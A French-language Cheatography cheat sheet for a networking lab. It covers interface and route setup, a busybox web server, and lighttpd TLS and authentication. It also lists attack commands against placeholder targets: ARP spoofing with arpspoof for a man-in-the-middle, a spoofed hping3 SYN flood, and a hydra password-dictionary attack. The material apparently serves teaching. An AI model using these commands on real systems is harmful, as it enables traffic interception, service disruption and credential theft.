Cheatography

Refcard TP1 Cheat Sheet

by izazoya via cheatography.com/208547/cs/44702/

Configuration de réseaux

Configuration dynamique	Configuration statique
ifconfig eth0 <@IP> netmask <netmask>	nano /etc/network/interfaces
echo 1 > /proc/sys/net/ipv4/ip_forward sur la passerelle	**dans interfaces** auto eth0 // iface eth0 inet static
route add default gw <@IP passerelle> sur les autres machines	**DI** address 192.168.0.1 // netmask 255.255.255.0
ssh <login>@<destination> // ping <destination>	**DI** gateway 192.168.0.254 si non-passerelle
traceroute <destination>	**DI** up echo 1 > /proc/sys/net/ipv4/ip_forward si passerelle
	ifup eth0 // ifdown eth0
nano /etc/hosts specifier nom pour adresse	ip, ifconfig, route et ping verif valide

Serveur web

startx mode graphique
/var/www/html creer page simple
busybox httpd -f -vv -h /var/www/html
URL locale http://127.0.0.1 pour y acceder
/etc/hosts contacter site avec nom ex: alcest

Man In The Middle

Principe sous mode graphique	Sécurisation
echo 1 > /proc/sys/net/ipv4/ip_forward sur machine espion	mkdir /etc/lighttpd/security // cd /etc/lighttpd/security repert dédié au certif
arpspoof -t <@IP machine qui va se faire pwned> <@IP machine dont on souhaite usurper l'identité>	openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out alcest.crt -keyout alcest.key

Man In The Middle (cont)

wireshark -i eth0 -k capturer traffic	*Country name* : FR // *Common name* : nom configuré dans /hosts
echo "/:<username>:$(busybox httpd -m '<password>')" > /etc/httpd.conf authentification au site web	openssl x509 -in alcest.crt -text lire le certif
busybox httpd -f -vv -h /var/www/html -r "-Restricted Area:" -c /etc/httpd.conf relancer avec auth	cat alcest.key alcest.crt > alcest.pem certif serveur & clé pv
	nano /etc/lighttpd/conf-enabled/tls.conf
	server.modules += ("mod_openssl") // $SERVER["socket"] == "0.0.0.0:443" { ssl.engine = "enable" // ssl.pemfile = "/etc/lighttpd/security/alcest.pem" }
	echo "<username>:$(busybox httpd -m '<password>')" > <auth file> authentification
	nano /etc/lighttpd/conf-enabled/auth.conf

Man In The Middle (cont)

server.modules += ("mod_auth", "mod_authn_file") auth.backend = "htpasswd" auth.backend.htpasswd.userfile = "/etc/lighttpd/security/alcest.auth" auth.require = ("/" => ("method" => "basic", "realm" => "password required", "require" => "valid-user"))

systemctl start lighttpd lancer serv web

systemctl status lighttpd verif etat serv web

Deny Of Service

hping3 --flood --syn --spoof <@IP source usurpée> <@IP victime>

htop verif charge systeme

tcpdump -i any voir paquets

Réseau étendu

Reseau etendu	Attaque par dictionnaire
/sbin/ifconfig	nano /opt/wordlist config mdp
/mnt/netta/apps/vnet/nemu-vnet netadm lancer reseau virtuel group1	most <file>
[nemu]-> slink()	hydra -V -f -l admin -P <fichier de mots de passe> http-get://<IP nightwish de l'autre groupe>

/mnt/netta/apps/vnet/nemu-vnet netadm lancer reseau virt grp2

[nemu]-> clink('<@IP du groupe principal>')

config sous-reseaux